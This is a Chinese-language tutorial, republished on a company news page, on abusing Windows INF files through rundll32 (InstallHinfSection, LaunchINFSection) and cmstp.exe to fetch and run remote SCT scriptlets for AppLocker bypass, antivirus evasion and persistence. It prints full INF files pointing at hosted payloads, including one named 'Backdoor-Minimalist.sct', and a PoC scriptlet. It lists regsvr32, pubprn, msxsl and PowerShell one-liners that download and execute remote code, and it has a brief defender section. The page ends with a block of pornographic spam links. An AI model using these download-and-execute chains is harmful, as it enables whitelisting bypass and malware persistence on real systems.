如何利用INFScript下載執行技術來進行繞過、免殺和持久化

本篇文章為大家展示了如何利用INF Script下載執行技術來進行繞過、免殺和持久化,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

成都創新互聯公司專注于高昌企業網站建設,響應式網站建設,商城系統網站開發。高昌網站建設公司,為高昌等地區提供建站服務。全流程按需求定制制作,專業設計,全程項目跟蹤,成都創新互聯公司專業和態度為您提供的服務

簡介

通過對MSDN上一些處理不同COM腳本的調查和測試,結合網上的分享,我發現了一些有意思的東西,這些發現可能是遠程調用執行腳本新方法。
其中最有意思的是LaunchINFSection

這篇文章主要討論一下網上公開的利用INF Script的方法,并介紹下LaunchINFSection,最后再分享一些用法和作為防御者應該注意的事項。另外,還會給出一些其他遠程執行腳本方法的參考。

INF Script執行方法

通過INF配置文件來執行腳本文件(.sct)的方法會涉及到InstallHinfSection(setipapi.dll)CMSTPLaunchINFSection(advpack.dll)

使用InstallHinfSection執行INF Script腳本

在DerbyCon 2017中KyleHanslovanChrisBisnett展示了一個非常有意思的東西,我已經將其翻譯和整理過來(傳送門:透過Autoruns看持久化繞過姿勢的分享 )。他們展示 了一種通過INF 遠程調用執行sct腳本文件的方法:
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 [path to file.inf]

作者給出的INF文件如下:


  1. ;----------------------------------------------------------------------

  2. ;RequiredSections

  3. ;----------------------------------------------------------------------

  4. [Version]

  5. Signature=$CHICAGO$

  6. Provider=test

  7. Class=Printer

  8. [Manufacturer]

  9. HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64

  10. ;----------------------------------------------------------------------

  11. ;ModelsSection

  12. ;----------------------------------------------------------------------

  13. [ModelsSection.NTx86]

  14. UnregisterDlls=Squiblydoo

  15. [ModelsSection.NTia64]

  16. UnregisterDlls=Squiblydoo

  17. [ModelsSection.NTamd64]

  18. UnregisterDlls=Squiblydoo

  19. ;----------------------------------------------------------------------

  20. ;SupportSections

  21. ;----------------------------------------------------------------------

  22. [DefaultInstall]

  23. UnregisterDlls=Squiblydoo

  24. [Squiblydoo]

  25. 11,,scrobj.dll,2,60,https://gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2a66/Backdoor-Minimalist.sct

上面的命令會去調用默認INF塊,即DefaultInstall,在這個塊下,通過UnregisterDlls調用了Squiblydoo塊下的惡意命令,通過scrobj.dll下載并執行指定的腳本文件。

使用CMSTP執行INF Script腳本

NickTyrer展示了一種用cmstp.exe加載INF文件來下載SCT腳本并執行COM腳本文件的方法。Oddvarmoe曾展示了用cmdtp.exe來繞過UAC和AppLocker默認策略。
基本用法如下:
cmstp.exe /s [file].inf

INF文件內容參考如下:


  1. ;cmstp.exe/s cmstp.inf

  2. [version]

  3. Signature=$chicago$

  4. AdvancedINF=2.5

  5. [DefaultInstall_SingleUser]

  6. UnRegisterOCXs=UnRegisterOCXSection

  7. [UnRegisterOCXSection]

  8. %11%\scrobj.dll,NI,https://gist.githubusercontent.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/raw/676451571c203303a95b95fcb29c8b7deb8a66e0/powersct.sct

  9. [Strings]

  10. AppAct="SOFTWARE\Microsoft\Connection Manager"

  11. ServiceName="Yay"

  12. ShortSvcName="Yay"

通過如上的INF文件,cmstp.exe會調用文件中的DefaultInstall_SingleUser塊。在這個塊中,UnRegisterOCXs調用了UnRegisterOCXSection塊來執行惡意操作,通過scrobj.dll來下載并執行指定的SCT腳本文件。

使用LaunchINFSection執行INF Script腳本

根據MSDN的說明,LaunchINFSection是Advanced INF Package Installer(advpack.dll)的一個方法,用來調用INF文件中的某個塊。從管理員的角度看,INF文件是一個用來安裝設備驅動或Windows .cab文件的指令文件,包括注冊Windows二進制(exe,dll,ocx),在注冊表中增加鍵值,或設置一些關鍵參數的操作。
調用LaunchINFSection的方法如下:
rundll32.exe advpack.dll,LaunchINFSection [file].inf, [INF Section], [Path to Cab].cab, [Installation Flags]
如果不指定[INF Section]LaunchINFSection將會調用默認的DefaultInstall塊。另外,值得注意的是,advpack.dll還提供了LaunchINFSectionEX方法和與其它字符集兼容的LaunchINFSectionA,來完成LaunchINFSection同樣的功能。

作為PoC例子,我們使用如下的INF和SCT文件來測試:

INF文件(保存為test.inf):


  1. ;cmstp.exe/s cmstp.inf

  2. [version]

  3. Signature=$chicago$

  4. AdvancedINF=2.5

  5. [DefaultInstall_SingleUser]

  6. UnRegisterOCXs=UnRegisterOCXSection

  7. [UnRegisterOCXSection]

  8. %11%\scrobj.dll,NI,https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct

  9. [Strings]

  10. AppAct="SOFTWARE\Microsoft\Connection Manager"

  11. ServiceName="Yay"

  12. ShortSvcName="Yay"

SCT文件:


  1. <?XML version="1.0"?>

  2. <scriptlet>

  3. <registration

  4.    description="Bandit"

  5.    progid="Bandit"

  6.    version="1.00"

  7.    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"

  8.    >

  9.    <!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll

  10.    <!-- DFIR -->

  11.    <!--        .sct files are downloaded and executed from a path like this -->

  12.    <!-- Though, the name and extension are arbitary.. -->

  13.    <!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->

  14.    <!-- Based on current research, no registry keys are written, since call "uninstall" -->

  15.    <!-- Proof Of Concept - Casey Smith @subTee -->

  16.        <!-- @RedCanary - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/atomic-dev-cs/Windows/Payloads/mshta.sct -->

  17.    <scriptlanguage="JScript">

  18.        <![CDATA[

  19.            var r=newActiveXObject("WScript.Shell").Run("calc.exe");

  20.        ]]>

  21.    </script>

  22. </registration>

  23. <public>

  24.    <methodname="Exec"></method>

  25. </public>

  26. <scriptlanguage="JScript">

  27. <![CDATA[

  28.    functionExec()

  29.    {

  30.        var r=newActiveXObject("WScript.Shell").Run("notepad.exe");

  31.    }

  32. ]]>

  33. </script>

  34. </scriptlet>

使用下面的命令來執行一下:
rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall_SingleUser,1,

如果網絡沒有問題的話,會出現我們可愛的計算器:

如何利用INF Script下載執行技術來進行繞過、免殺和持久化

這里,我們還可以用稍微不同的方法啟動我們的程序,例如,把INF文件中的入口塊改成DefaultInstall,那么我們就可以使用下面的命令執行程序,而無需指定一個塊名字:

rundll32.exe advpack.dll,LaunchINFSection test.inf,,1,

如何利用INF Script下載執行技術來進行繞過、免殺和持久化

另外,我們也可以將卸載OCX的命令改成一個安裝/注冊的命令RegisterOCXs,并且隨便一個名字來運行我們的程序:


如何利用INF Script下載執行技術來進行繞過、免殺和持久化

使用和防御方法

惡意軟件


如何利用INF Script下載執行技術來進行繞過、免殺和持久化

如何利用INF Script下載執行技術來進行繞過、免殺和持久化

繞過,免殺和持久化

CMSTP可用來繞過Autoruns(當開啟隱藏Windows條目時),如下圖:


當不啟用隱藏過濾功能時,CMSTP做的自啟動項如下:

如何利用INF Script下載執行技術來進行繞過、免殺和持久化

注意:LaunchINFSection和InstallHinfSection不會以繞過新版本的Autoruns,因為這種啟動方法依靠rundll32.exe調用相應的dll。當啟用過濾時,Autoruns還是會顯示這些自啟動項。但是,LaunchINFSection提供了我們一種通過程序白名單繞過AppLocker規則來獲得代碼執行的技術。

網絡中的流量

下圖是通過scrobj.dll來下載一個SCT文件時產生的流量:


如何利用INF Script下載執行技術來進行繞過、免殺和持久化

任意文件名

SCT文件只不過是text/XML文檔,而INF文件只不過是text文檔,其后綴擴展名可以不是.sct.inf,但依然可以成功執行。(此處譯者并沒有實驗成功,希望各位表哥賜教!)

其它方法

使用INF文件執行并不是唯一可以執行SCT腳本文件的方法,還有一些其它方法:

RegSvr32/Scrobj.dll

RegSvr32/Scrobj.dll

regsvr32 /s /n /u /i: http://url/file.sct scrobj.dll

PubPrn

PubPrn

pubprn.vbs 127.0.0.1 script:http ://url/file.sct

通過PowerShell拼接Microsoft.JScript.Eval

[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');[Microsoft.JScript.Eval]::JScriptEvaluate('GetObject("script: http://url/file.sct").Exec()',[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine())

通過PowerShell拼接Microsoft.VisualBasic.Interaction

[Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script: http://url/file.sct').Exec(0)

值得注意的是,sct并不是唯一一種文件,還有其他的,如:

MsXSL

MsXSL

msxsl.exe http://url/file.xml http://url/file.xsl

通過PowerShell拼接System.Xml.Xsl.XslCompiledTransform

$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('http://url/file.xsl',$s,$r);$x.Transform('http://url/file.xml','z');del z;

上述內容就是如何利用INF Script下載執行技術來進行繞過、免殺和持久化,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注創新互聯行業資訊頻道。

網站題目:如何利用INFScript下載執行技術來進行繞過、免殺和持久化
新聞來源:http://m.kartarina.com/article18/jecegp.html

成都網站建設公司_創新互聯,為您提供商城網站全網營銷推廣網站排名網站建設網站導航App設計

廣告

聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯

成都網站建設
主站蜘蛛池模板: 人妻丰满熟妇无码区免费| 中文无码字慕在线观看| 成人免费无码大片a毛片软件 | 亚洲av永久无码精品秋霞电影影院| 国产成人无码综合亚洲日韩| 久久AV无码精品人妻出轨| 中文有码vs无码人妻| 人妻少妇看A偷人无码精品视频| 人妻无码一区二区三区四区| 久久国产精品无码一区二区三区| 精品无码三级在线观看视频| 精品久久久久久久无码| 国产AV无码专区亚汌A√| 无码av无码天堂资源网| 久久久久亚洲AV无码麻豆| 一本加勒比HEZYO无码人妻| 国产精品va无码免费麻豆| 精品久久亚洲中文无码| 欧洲精品久久久av无码电影| 97无码人妻福利免费公开在线视频 | 无码精品A∨在线观看| 亚洲精品一级无码鲁丝片| 无码永久免费AV网站| 无码不卡av东京热毛片| 无码国产色欲XXXXX视频| 亚洲韩国精品无码一区二区三区| 国产高清无码视频| 特级无码a级毛片特黄| 特黄熟妇丰满人妻无码| 精品无码国产一区二区三区麻豆| 无码人妻精品一区二区三区蜜桃 | 日韩人妻精品无码一区二区三区 | 亚洲日产无码中文字幕| 中文无码vs无码人妻 | 无码国模国产在线观看免费| 激情射精爆插热吻无码视频| 无码少妇A片一区二区三区| 激情射精爆插热吻无码视频| 小泽玛丽无码视频一区| 亚洲国产精品无码久久久久久曰 | 国产aⅴ无码专区亚洲av|